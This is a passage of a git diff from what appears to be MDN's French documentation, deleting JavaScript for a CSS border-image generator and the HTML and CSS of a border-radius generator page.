-			ButtonManager.setValue('slice-fill', prop['fill']);
-			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
-			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
-			InputSliderManager.setValue('preview-width', prop['size'][0]);
-			InputSliderManager.setValue('preview-height', prop['size'][1]);
-			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
-		};
-
-		var update = function update() {
-			scale =  Math.min(300, (30000 / this.width) | 0);
-			setScale(scale);
-			InputSliderManager.setValue('scale', scale, false);
-
-			subject.style.backgroundImage = 'url("' + this.src + '")';
-			preview.style.borderImageSource = 'url("' + this.src + '")';
-
-			guidelines['slice-top'].setMax(this.height);
-			guidelines['slice-right'].setMax(this.width);
-			guidelines['slice-bottom'].setMax(this.height);
-			guidelines['slice-left'].setMax(this.width);
-
-			if (imgState)
-				loadImageState(imgState);
-		};
-
-		var setScale = function setScale(value) {
-			scale = value;
-			var w = imgSource.width * scale / 100 | 0;
-			var h = imgSource.height * scale / 100 | 0;
-			subject.style.width = w + 'px';
-			subject.style.height = h + 'px';
-
-			for (var i = 0; i < positions.length; i++)
-				guidelines['slice-' + positions[i]].updateGuidelinePos();
-		};
-
-		var getScale = function getScale() {
-			return scale/100;
-		};
-
-		var toggleGallery = function toggleGallery() {
-			var gallery = getElemById('image-gallery');
-			var button  = getElemById('toggle-gallery');
-			var state = 1;
-			button.addEventListener('click', function() {
-				state = 1 ^ state;
-				if (state === 0) {
-					gallery.setAttribute('data-collapsed', 'true');
-					button.setAttribute('data-action', 'show');
-				}
-				else {
-					gallery.removeAttribute('data-collapsed');
-					button.setAttribute('data-action', 'hide');
-				}
-			});
-		};
-
-		var init = function init() {
-			var gallery = getElemById('image-gallery');
-			var browse = getElemById('load-image');
-			var remote = getElemById('remote-url');
-			var load_remote = getElemById('load-remote');
-
-			remote.addEventListener('change', function(){
-				loadRemoteImage(this.value);
-			});
-
-			load_remote.addEventListener('click', function(){
-				loadRemoteImage(remote.value);
-			});
-
-			browse.addEventListener('click', ImageReader.load);
-			gallery.addEventListener('click', pickImage);
-			imgSource.addEventListener('load', update);
-
-			InputSliderManager.subscribe('scale', setScale);
-			InputSliderManager.setValue('scale', scale);
-			imgState = 'border1';
-			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
-			toggleGallery();
-		};
-
-		return {
-			init: init,
-			getScale : getScale,
-			loadRemoteImage: loadRemoteImage
-		};
-
-	})();
-
-	var GuideLine = function GuideLine(node) {
-		var topic = node.getAttribute('data-topic');
-		var axis = node.getAttribute('data-axis');
-
-		this.node = node;
-		this.topic = topic;
-		this.axis = axis;
-		this.info = topic.split('-')[1];
-
-		this.position = 0;
-		this.value = 0;
-		this.unit = 0;
-		this.max = 0;
-		this.pos = positions.indexOf(this.info);
-
-		guidelines[topic] = this;
-
-		var relative_container = document.createElement('div');
-		var tooltip = document.createElement('div');
-		var tooltip2 = document.createElement('div');
-
-		tooltip.className = 'tooltip';
-		tooltip.setAttribute('data-info', this.info);
-
-		tooltip2.className = 'tooltip2';
-		tooltip2.textContent = this.info;
-		tooltip2.setAttribute('data-info', this.info);
-
-		this.tooltip = tooltip;
-
-		relative_container.appendChild(tooltip);
-		relative_container.appendChild(tooltip2);
-		node.appendChild(relative_container);
-
-		var startX = 0;
-		var startY = 0;
-		var start = 0;
-
-		var startDrag = function startDrag(e) {
-			startX = e.clientX;
-			startY = e.clientY;
-			start = guidelines[topic].position;
-			document.body.setAttribute('data-move', axis);
-			relative_container.setAttribute('data-active', '');
-			node.setAttribute('data-active', '');
-
-			document.addEventListener('mousemove', updateGuideline);
-			document.addEventListener('mouseup', endDrag);
-		};
-
-		var endDrag = function endDrag() {
-			document.body.removeAttribute('data-move');
-			relative_container.removeAttribute('data-active');
-			node.removeAttribute('data-active');
-
-			document.removeEventListener('mousemove', updateGuideline);
-		};
-
-		var updateGuideline = function updateGuideline(e) {
-			var value;
-			if (topic === 'slice-top')
-				value = e.clientY - startY + start;
-
-			if (topic === 'slice-right')
-				value = startX - e.clientX + start;
-
-			if (topic === 'slice-bottom')
-				value = startY - e.clientY + start;
-
-			if (topic === 'slice-left')
-				value = e.clientX - startX + start;
-
-			if (this.unit === 0)
-				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
-			else {
-				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
-			}
-
-		}.bind(this);
-
-		node.addEventListener("mousedown", startDrag);
-
-		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
-		InputSliderManager.setValue(topic, this.position);
-	};
-
-
-	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
-		if (this.unit === 0)
-			this.position = this.value * ImageControl.getScale() | 0;
-		else
-			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
-
-		this.node.style[this.info] = this.position + 'px';
-	};
-
-	GuideLine.prototype.setPosition = function setPosition(value) {
-		this.value = value;
-		this.tooltip.textContent = value;
-		this.updateGuidelinePos();
-		Tool.setBorderSlice(this.pos, value);
-	};
-
-	GuideLine.prototype.setMax = function setMax(max) {
-		this.max = max;
-		this.updateLimit();
-	};
-
-	GuideLine.prototype.updateLimit = function updateLimit() {
-		if (this.unit === 1)
-			InputSliderManager.setMax(this.topic, 100);
-		else
-			InputSliderManager.setMax(this.topic, this.max);
-	};
-
-	GuideLine.prototype.setUnit = function setUnit(type) {
-		if (type === '%')	this.unit = 1;
-		if (type === '')	this.unit = 0;
-		this.updateLimit();
-	};
-
-	/*
-	 * Unit panel
-	 */
-	var UnitPanel = (function UnitPanel () {
-
-		var panel;
-		var title;
-		var precision;
-		var step;
-		var unit_topic = null; // settings are made for this topic
-		var step_option = [1, 0.1, 0.01];
-
-		var updatePrecision = function updatePrecision(value) {
-			InputSliderManager.setPrecision('unit-step', value);
-			InputSliderManager.setStep('unit-step', step_option[value]);
-			InputSliderManager.setMin('unit-step', step_option[value]);
-
-			if (unit_topic)
-				InputSliderManager.setPrecision(unit_topic, value);
-		};
-
-		var updateUnitSettings = function updateUnitSettings(value) {
-			if (unit_topic)
-				InputSliderManager.setStep(unit_topic, value);
-		};
-
-		var show = function show(e) {
-			var topic = e.target.getAttribute('data-topic');
-			var precision = InputSliderManager.getPrecision(topic);
-			var step = InputSliderManager.getStep(topic);
-
-			unit_topic = topic;
-			title.textContent = topic;
-
-			panel.setAttribute('data-active', 'true');
-			panel.style.top = e.target.offsetTop - 40 + 'px';
-			panel.style.left = e.target.offsetLeft + 30 + 'px';
-
-			InputSliderManager.setValue('unit-precision', precision);
-			InputSliderManager.setValue('unit-step', step);
-		};
-
-		var init = function init() {
-			panel = document.createElement('div');
-			title = document.createElement('div');
-			var close = document.createElement('div');
-
-			step = InputSliderManager.createSlider('unit-step', 'step');
-			precision = InputSliderManager.createSlider('unit-precision', 'precision');
-
-			InputSliderManager.setStep('unit-precision', 1);
-			InputSliderManager.setMax('unit-precision', 2);
-			InputSliderManager.setValue('unit-precision', 2);
-			InputSliderManager.setSensivity('unit-precision', 20);
-
-			InputSliderManager.setValue('unit-step', 1);
-			InputSliderManager.setStep('unit-step', 0.01);
-			InputSliderManager.setPrecision('unit-step', 2);
-
-			InputSliderManager.subscribe('unit-precision', updatePrecision);
-			InputSliderManager.subscribe('unit-step', updateUnitSettings);
-
-			close.addEventListener('click', function () {
-				panel.setAttribute('data-active', 'false');
-			});
-
-			title.textContent = 'Properties';
-			title.className = 'title';
-			close.className = 'close';
-			panel.id = 'unit-settings';
-			panel.setAttribute('data-active', 'false');
-			panel.appendChild(title);
-			panel.appendChild(precision);
-			panel.appendChild(step);
-			panel.appendChild(close);
-			document.body.appendChild(panel);
-		};
-
-		return {
-			init : init,
-			show : show
-		};
-
-	})();
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-		var preview_area;
-		var dropdown_unit_options = [
-			{ '' : '--', '%' : '%'},
-			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
-			{ 'px' : 'px', 'em' : 'em'},
-		];
-
-		var border_slice = [];
-		var border_width = [];
-		var border_outset = [];
-
-		var border_slice_values = [];
-		var border_width_values = [];
-		var border_outset_values = [];
-
-		var border_slice_units = ['', '', '', ''];
-		var border_width_units = ['px', 'px', 'px', 'px'];
-		var border_outset_units = ['px', 'px', 'px', 'px'];
-
-		var border_fill = false;
-		var border_repeat = ['round', 'round'];
-		var CSS_code = {
-			'source' : null,
-			'slice' : null,
-			'width' : null,
-			'outset' : null,
-			'repeat' : null
-		};
-
-		var setBorderSlice = function setBorderSlice(positionID, value) {
-			border_slice[positionID] = value + border_slice_units[positionID];
-			updateBorderSlice();
-		};
-
-		var updateBorderSlice = function updateBorderSlice() {
-			var value = border_slice.join(' ');
-			if (border_fill === true)
-				value += ' fill';
-
-			preview.style.borderImageSlice = value;
-			setOutputCSS('slice', value);
-		};
-
-		var setBorderFill = function setBorderFill(value) {
-			border_fill = value;
-			var bimgslice = border_slice.join(' ');;
-			if (value === true)
-				bimgslice += ' fill';
-
-			preview.style.borderImageSlice = bimgslice;
-		};
-
-		var updateBorderWidth = function updateBorderWidth() {
-			var value = border_width.join(' ');
-			preview.style.borderImageWidth = value;
-			setOutputCSS('width', value);
-		};
-
-		var updateBorderOutset = function updateBorderOutset() {
-			var value = border_outset.join(' ');
-			preview.style.borderImageOutset = border_outset.join(' ');
-			setOutputCSS('outset', value);
-		};
-
-		var setBorderRepeat = function setBorderRepeat(obj) {
-			border_repeat[obj.value] = obj.name;
-			var value = border_repeat.join(' ');
-			preview.style.borderImageRepeat = value;
-			setOutputCSS('repeat', value);
-		};
-
-		var setOutputCSS = function setOutputCSS(topic, value) {
-			CSS_code[topic].textContent = value + ';';
-		};
-
-		var setPreviewFontSize = function setPreviewFontSize(value) {
-			preview.style.fontSize = value + 'px';
-		};
-
-		var setPreviewWidth = function setPreviewWidth(value) {
-			preview.style.width = value + 'px';
-		};
-
-		var setPreviewHeight = function setPreviewHeight(value) {
-			preview.style.height = value + 'px';
-		};
-
-		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
-			preview_area.style.height = value + 'px';
-		};
-
-		var updateDragOption = function updateDragOption(value) {
-			if (value === true)
-				subject.setAttribute('data-draggable', 'true');
-			else
-				subject.removeAttribute('data-draggable');
-		};
-
-		var createProperty = function createProperty(topic, labelID, optionsID) {
-
-			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
-			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
-
-			InputSliderManager.setSensivity(topic, 3);
-			InputSliderManager.setPrecision(topic, 1);
-
-			var property = document.createElement('div');
-			var config = document.createElement('div');
-
-			property.className = 'property';
-			config.className = 'config';
-			config.setAttribute('data-topic', topic);
-			config.addEventListener('click', UnitPanel.show);
-
-			property.appendChild(slider);
-			property.appendChild(dropdown);
-			property.appendChild(config);
-
-			return property;
-		};
-
-		var initBorderSliceControls = function initBorderSliceControls() {
-			var container = getElemById('border-slice-control');
-
-			var listenForChanges = function listenForChanges(topic, id) {
-				InputSliderManager.subscribe(topic, function(value) {
-					border_slice_values[id] = value;
-					border_slice[id] = value + border_slice_units[id];
-					updateBorderSlice();
-				});
-
-				DropDownManager.subscribe(topic, function(obj) {
-					guidelines[topic].setUnit(obj.value);
-					border_slice_units[id] = obj.value;
-					border_slice[id] = border_slice_values[id] + obj.value;
-					updateBorderSlice();
-				});
-			};
-
-			for (var i = 0; i < positions.length; i++) {
-				var topic = 'slice-' + positions[i];
-				var property = createProperty(topic, i, 0);
-				listenForChanges(topic, i);
-
-				container.appendChild(property);
-			}
-
-			container.appendChild(container.children[1]);
-
-		};
-
-		var initBorderWidthControls = function initBorderWidthControls() {
-			var container = getElemById('border-width-control');
-
-			var listenForChanges = function listenForChanges(topic, id) {
-				InputSliderManager.subscribe(topic, function(value) {
-					border_width_values[id] = value;
-					border_width[id] = value + border_width_units[id];
-					updateBorderWidth();
-				});
-
-				DropDownManager.subscribe(topic, function(obj) {
-					if (obj.value === '%')
-						InputSliderManager.setMax(topic, 100);
-					else
-						InputSliderManager.setMax(topic, 1000);
-
-					border_width_units[id] = obj.value;
-					border_width[id] = border_width_values[id] + obj.value;
-					updateBorderWidth();
-				});
-			};
-
-			for (var i = 0; i < positions.length; i++) {
-				var topic = 'width-' + positions[i];
-				var property = createProperty(topic, i, 1);
-				InputSliderManager.setMax(topic, 1000);
-				listenForChanges(topic, i);
-
-				container.appendChild(property);
-			}
-		};
-
-		var initBorderOutsetControls = function initBorderOutsetControls() {
-
-			var container = getElemById('border-outset-control');
-
-			var listenForChanges = function listenForChanges(topic, id) {
-				InputSliderManager.subscribe(topic, function(value) {
-					border_outset_values[id] = value;
-					border_outset[id] = value + border_outset_units[id];
-					updateBorderOutset();
-				});
-
-				DropDownManager.subscribe(topic, function(obj) {
-					border_outset_units[id] = obj.value;
-					border_outset[id] = border_outset_values[id] + obj.value;
-					updateBorderOutset();
-				});
-			};
-
-			for (var i = 0; i < positions.length; i++) {
-				var topic = 'outset-' + positions[i];
-				var property = createProperty(topic, i, 2);
-				InputSliderManager.setMax(topic, 1000);
-				listenForChanges(topic, i);
-
-				container.appendChild(property);
-			}
-		};
-
-		var init = function init() {
-
-			var gallery =
-			subject = getElemById('subject');
-			preview = getElemById("preview");
-			preview_area = getElemById("preview_section");
-
-
-			CSS_code['source'] = getElemById("out-border-source");
-			CSS_code['slice'] = getElemById("out-border-slice");
-			CSS_code['width'] = getElemById("out-border-width");
-			CSS_code['outset'] = getElemById("out-border-outset");
-			CSS_code['repeat'] = getElemById("out-border-repeat");
-
-			initBorderSliceControls();
-			initBorderWidthControls();
-			initBorderOutsetControls();
-
-			var elem = document.querySelectorAll('.guideline');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				new GuideLine(elem[i]);
-
-			PreviewControl.init();
-
-			ButtonManager.subscribe('slice-fill',setBorderFill);
-			ButtonManager.subscribe('drag-subject', updateDragOption);
-			ButtonManager.setValue('drag-subject', false);
-
-			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
-			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
-
-			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
-			InputSliderManager.subscribe('preview-width', setPreviewWidth);
-			InputSliderManager.subscribe('preview-height', setPreviewHeight);
-			InputSliderManager.subscribe('font-size', setPreviewFontSize);
-			InputSliderManager.setValue('preview-width', 300);
-			InputSliderManager.setValue('preview-height', 200);
-		};
-
-		return {
-			init: init,
-			setOutputCSS: setOutputCSS,
-			setBorderSlice: setBorderSlice
-		};
-
-	})();
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		InputSliderManager.init();
-		DropDownManager.init();
-		ButtonManager.init();
-		UnitPanel.init();
-		Tool.init();
-		ImageControl.init();
-	};
-
-	return {
-		init : init
-	};
-
-})();
-
-
-
- -

{{EmbedLiveSample('Border_Image_Generator', '100%', '1270px')}}

diff --git "a/files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-radius/index.html" "b/files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-radius/index.html" deleted file mode 100644 index 344dd64bcc..0000000000 --- "a/files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-radius/index.html" +++ /dev/null @@ -1,1600 +0,0 @@ ---- -title: Générateur de border-radius -slug: Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-radius -tags: - - CSS - - Outil -translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator ---- -

Cet outil peut être utilisé afin de générer du code pour la propriété {{cssxref("border-radius")}}.

- -
-

border-radius

- -

Contenu HTML

- -
<div id="container">
-    <div class="group section">
-        <div id="preview" class="col span_12">
-            <div id="subject">
-                <div id="top-left" class="radius-container"
-                    data-X="left" data-Y="top">
-                </div>
-                <div id="top-right" class="radius-container"
-                    data-X="right" data-Y="top">
-                </div>
-                <div id="bottom-right" class="radius-container"
-                    data-X="right" data-Y="bottom">
-                </div>
-                <div id="bottom-left" class="radius-container"
-                    data-X="left" data-Y="bottom">
-                </div>
-
-                <div id="radius-ui-sliders">
-                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trr" class="ui-input-slider" data-topic="top-right"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
-                        data-unit=" px" data-sensivity="2"></div>
-                </div>
-            </div>
-        </div>
-    </div>
-    <div id="controls" class="group section">
-
-        <div class="group section">
-            <div id="dimensions">
-                <div class="ui-input-slider" data-topic="width" data-info="width"
-                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
-
-                <div class="ui-input-slider" data-topic="height" data-info="height"
-                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
-            </div>
-
-            <div id="output"></div>
-        </div>
-
-        <div class="group section">
-            <div id="radius-lock">
-                <div class="info"> Coins arrondis </div>
-                <div class="ui-checkbox" data-topic='top-left'></div>
-                <div class="ui-checkbox" data-topic='top-right'></div>
-                <div class="ui-checkbox" data-topic='bottom-right'></div>
-                <div class="ui-checkbox" data-topic='bottom-left'></div>
-            </div>
-
-            <div id="unit-selection">
-                <div class="info"> Unités pour la bordure </div>
-            </div>
-        </div>
-
-    </div>
-</div>
-
- -

Contenu CSS

- -
/*  GRID OF TEN
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-
-/*
- * UI Component
- */
-
-.ui-input-slider-container {
-	height: 20px;
-	margin: 10px 0;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider-container * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 3px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-body {
-	max-width: 1000px;
-	margin: 0 auto;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/******************************************************************************/
-/******************************************************************************/
-/*
- * Preview Area
- */
-
-#preview {
-	height: 500px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-	overflow: hidden;
-	position: relative;
-}
-
-#preview .content {
-	width: 100%;
-	height: 100%;
-	display: block;
-}
-
-#preview input {
-	color: #333;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-}
-
-#subject {
-	width: 400px;
-	height: 150px;
-	margin: 0 auto;
-	border: 3px solid #C60;
-	background: #FFF;
-	position: relative;
-}
-
-.radius {
-	width: 50%;
-	height: 50%;
-	border: 1px solid #CCC;
-	display: none;
-	position: absolute;
-	z-index: 1;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.handle {
-	width: 16px;
-	height: 16px;
-	position: absolute;
-	z-index: 2;
-}
-
-.handle-top-left {
-	top: -12px;
-	left: -12px;
-	cursor: se-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
-}
-
-.handle-top-right {
-	top: -12px;
-	right: -12px;
-	cursor: sw-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
-}
-
-.handle-bottom-right {
-	bottom: -12px;
-	right: -12px;
-	cursor: nw-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
-}
-
-.handle-bottom-left {
-	bottom: -12px;
-	left: -12px;
-	cursor: ne-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
-}
-
-
-.radius-container {
-	position: absolute;
-	display : block;
-	z-index: 1;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/* TOP LEFT */
-#top-left {
-	top: 0;
-	left: 0;
-}
-
-#top-left .radius {
-	border-top-left-radius: 100%;
-	top: 0;
-	left: 0;
-}
-
-/* TOP RIGHT */
-#top-right {
-	top: 0;
-	right: 0;
-}
-
-#top-right .radius {
-	border-top-right-radius: 100%;
-	top: 0;
-	right: 0;
-}
-
-/* BOTTOM RIGHT */
-#bottom-right {
-	bottom: 0;
-	right: 0;
-}
-
-#bottom-right .radius {
-	border-bottom-right-radius: 100%;
-	bottom: 0;
-	right: 0;
-}
-
-/* BOTTOM lEFT */
-#bottom-left {
-	bottom: 0;
-	left: 0;
-}
-
-#bottom-left .radius {
-	border-bottom-left-radius: 100%;
-	bottom: 0;
-}
-
-/* INPUT SLIDERS */
-
-#preview .ui-input-slider {
-	margin: 10px;
-	position: absolute;
-	z-index: 10;
-}
-
-#radius-ui-sliders {
-	width: 100%;
-	height: 100%;
-	min-height: 75px;
-	min-width: 150px;
-	padding: 20px 50px;
-	top: -20px;
-	left: -50px;
-	position: relative;
-}
-
-#tlr {
-	top: -30px;
-	left: -50px;
-	display: none;
-}
-
-#tlw {
-	top: -30px;
-	left: 30px;
-}
-
-#tlh {
-	top: 20px;
-	left: -50px;
-}
-
-#trr {
-	top: -30px;
-	right: -50px;
-	display: none;
-}
-
-#trw {
-	top: -30px;
-	right: 30px;
-}
-
-#trh {
-	top: 20px;
-	right: -50px;
-}
-
-#brr {
-	bottom: -30px;
-	right: -50px;
-	display: none;
-}
-
-#brw {
-	bottom: -30px;
-	right: 30px;
-}
-
-#brh {
-	bottom: 20px;
-	right: -50px;
-}
-
-#blr {
-	bottom: -30px;
-	left: -50px;
-	display: none;
-}
-
-#blw {
-	bottom: -30px;
-	left: 30px;
-}
-
-#blh {
-	bottom: 20px;
-	left: -50px;
-}
-
-#preview .ui-input-slider-left, #preview .ui-input-slider-right {
-	visibility: hidden;
-}
-
-#preview .ui-input-slider-container:hover .ui-input-slider-left {
-	visibility: visible;
-}
-
-#preview .ui-input-slider-container:hover .ui-input-slider-right {
-	visibility: visible;
-}
-
-/*
- *
- */
-
-#unit-selection {
-	width: 200px;
-	height: 75px;
-	margin: 30px 30px 0 0;
-	padding: 30px;
-	border: 3px solid #555;
-	border-radius: 10px;
-	position: relative;
-	float: right;
-}
-
-#unit-selection .info {
-	height: 20%;
-	width: 100%;
-	line-height: 20%;
-	font-size: 20px;
-	text-align: center;
-	position: relative;
-	top: 40%;
-}
-
-#unit-selection .dropdown {
-	width: 50px;
-	height: 20px;
-	margin: 10px;
-	padding: 0;
-	border-radius: 3px;
-	position: absolute;
-	overflow: hidden;
-}
-
-#unit-selection select {
-	width: 50px;
-	height: 20px;
-	marign: 0;
-	padding: 0 0 0 10px;
-	background: #555;
-	border: 1px solid #555;
-	border: none;
-	color: #FFF;
-	float: left;
-}
-
-#unit-selection select option {
-	background: #FFF;
-	color: #333;
-}
-
-#unit-selection select:hover {
-	cursor: pointer;
-}
-
-#unit-selection .dropdown:before {
-	content: "";
-	width: 18px;
-	height: 20px;
-	display: block;
-	background-color: #555;
-	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	top: 0px;
-	right: 0px;
-	position: absolute;
-	z-index: 1;
-	pointer-events: none;
-}
-
-#unit-selection .unit-top-left {
-	top: 0;
-	left: 0;
-	display: none;
-}
-
-#unit-selection .unit-top-left-w {
-	top: -22px;
-	left: 30px;
-}
-
-#unit-selection .unit-top-left-h {
-	top: 20px;
-	left: -37px;
-}
-
-#unit-selection .unit-top-right {
-	top: 0;
-	right: 0;
-	display: none;
-}
-
-#unit-selection .unit-top-right-w {
-	top: -22px;
-	right: 30px;
-}
-
-#unit-selection .unit-top-right-h {
-	top: 20px;
-	right: -37px;
-}
-
-#unit-selection .unit-bottom-right {
-	bottom: 0;
-	right: 0;
-	display: none;
-}
-
-#unit-selection .unit-bottom-right-w {
-	bottom: -22px;
-	right: 30px;
-}
-
-#unit-selection .unit-bottom-right-h {
-	bottom: 20px;
-	right: -37px;
-}
-
-#unit-selection .unit-bottom-left {
-	bottom: 0;
-	left: 0;
-	display: none;
-}
-
-#unit-selection .unit-bottom-left-w {
-	bottom: -22px;
-	left: 30px;
-}
-
-#unit-selection .unit-bottom-left-h {
-	bottom: 20px;
-	left: -37px;
-}
-
-/******************************************************************************/
-/******************************************************************************/
-
-
-#radius-lock {
-	width: 200px;
-	height: 75px;
-	margin: 30px 0 0 30px;
-	padding: 30px;
-	border: 3px solid #555;
-	border-radius: 10px;
-	position: relative;
-	float: left;
-}
-
-#radius-lock .ui-checkbox {
-	color: #FFF;
-	position: absolute;
-}
-
-#radius-lock .ui-checkbox > label {
-	height: 20px;
-	width: 34px;
-	padding: 0;
-}
-
-#radius-lock .info {
-	height: 20%;
-	width: 100%;
-	line-height: 20%;
-	font-size: 20px;
-	text-align: center;
-	position: relative;
-	top: 40%;
-}
-
-#radius-lock [data-topic="top-left"] {
-	top: 10px;
-	left: 10px;
-}
-
-#radius-lock [data-topic="top-right"] {
-	top: 10px;
-	right: 10px;
-}
-
-#radius-lock [data-topic="bottom-right"] {
-	bottom: 10px;
-	right: 10px;
-}
-
-#radius-lock [data-topic="bottom-left"] {
